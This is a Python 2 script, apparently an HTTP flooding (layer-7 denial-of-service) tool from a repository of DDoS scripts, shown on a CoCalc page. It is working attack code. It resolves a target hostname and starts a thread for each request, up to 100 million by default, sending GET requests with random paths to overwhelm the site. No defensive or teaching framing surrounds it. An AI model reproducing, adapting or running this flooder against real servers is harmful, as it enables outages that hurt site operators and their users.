Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/D4flooder.py
4607 views
1
# -*- coding: utf-8 -*-
2
# Author : D4Vinci
3
# All copyrights to Squnity team
4
5
import random
6
import socket
7
import string
8
import sys
9
import threading
10
import time
11
12
# Parse inputs
13
host = ""
14
ip = ""
15
port = 0
16
num_requests = 0
17
18
if len(sys.argv) == 2:
19
port = 80
20
num_requests = 100000000
21
elif len(sys.argv) == 3:
22
port = int(sys.argv[2])
23
num_requests = 100000000
24
elif len(sys.argv) == 4:
25
port = int(sys.argv[2])
26
num_requests = int(sys.argv[3])
27
else:
28
print "ERROR\n Usage: " + sys.argv[0] + " < Hostname > < Port > < Number_of_Attacks >"
29
sys.exit(1)
30
31
# Convert FQDN to IP
32
try:
33
host = str(sys.argv[1]).replace("https://", "").replace("http://", "").replace("www.", "")
34
ip = socket.gethostbyname(host)
35
except socket.gaierror:
36
print " ERROR\n Make sure you entered a correct website"
37
sys.exit(2)
38
39
# Create a shared variable for thread counts
40
thread_num = 0
41
thread_num_mutex = threading.Lock()
42
43
44
# Print thread status
45
def print_status():
46
global thread_num
47
thread_num_mutex.acquire(True)
48
49
thread_num += 1
50
print "\n " + time.ctime().split(" ")[3] + " " + "[" + str(thread_num) + "] #-#-# Hold Your Tears #-#-#"
51
52
thread_num_mutex.release()
53
54
55
# Generate URL Path
56
def generate_url_path():
57
msg = str(string.letters + string.digits + string.punctuation)
58
data = "".join(random.sample(msg, 5))
59
return data
60
61
62
# Perform the request
63
def attack():
64
print_status()
65
url_path = generate_url_path()
66
67
# Create a raw socket
68
dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
69
70
try:
71
# Open the connection on that raw socket
72
dos.connect((ip, port))
73
74
# Send the request according to HTTP spec
75
dos.send("GET /%s HTTP/1.1\nHost: %s\n\n" % (url_path, host))
76
except socket.error, e:
77
print "\n [ No connection, server may be down ]: " + str(e)
78
finally:
79
# Close our socket gracefully
80
dos.shutdown(socket.SHUT_RDWR)
81
dos.close()
82
83
84
print "[#] Attack started on " + host + " (" + ip + ") || Port: " + str(port) + " || # Requests: " + str(num_requests)
85
86
# Spawn a thread per request
87
all_threads = []
88
for i in xrange(num_requests):
89
t1 = threading.Thread(target=attack)
90
t1.start()
91
all_threads.append(t1)
92
93
# Adjusting this sleep time will affect requests per second
94
time.sleep(0.01)
95
96
for current_thread in all_threads:
97
current_thread.join() # Make the main thread wait for the children threads
98